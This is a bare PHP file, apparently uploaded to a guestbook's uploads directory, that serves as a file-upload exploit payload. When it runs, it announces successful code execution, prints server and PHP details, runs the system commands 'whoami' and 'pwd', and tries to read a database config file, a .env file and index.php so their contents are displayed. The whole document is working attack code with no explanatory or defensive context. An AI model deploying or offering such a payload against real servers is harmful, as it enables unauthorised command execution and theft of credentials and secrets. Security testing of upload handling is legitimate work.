Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads
<?php
// Simple PHP injection - displays system info
echo "<h1 style='color: red;'>🚨 PHP CODE EXECUTION SUCCESS! 🚨</h1>";
echo "<p><strong>Server:</strong> " . $_SERVER['SERVER_NAME'] . "</p>";
echo "<p><strong>PHP Version:</strong> " . phpversion() . "</p>";
echo "<p><strong>Current Time:</strong> " . date('Y-m-d H:i:s') . "</p>";
echo "<p><strong>Upload Directory:</strong> " . getcwd() . "</p>";
// Try to execute system commands (if allowed)
if (function_exists('system')) {
echo "<h2>System Information:</h2>";
echo "<pre>";
system('whoami');
system('pwd');
echo "</pre>";
} else {
echo "<p>System commands disabled.</p>";
}
// Try to read sensitive files
echo "<h2>Attempting to read files:</h2>";
$files_to_try = ['../config/Database.php', '../../.env', '../index.php'];
foreach ($files_to_try as $file) {
if (file_exists($file)) {
echo "<h3>Found: $file</h3>";
echo "<pre>" . htmlspecialchars(file_get_contents($file)) . "</pre>";
}
}
?>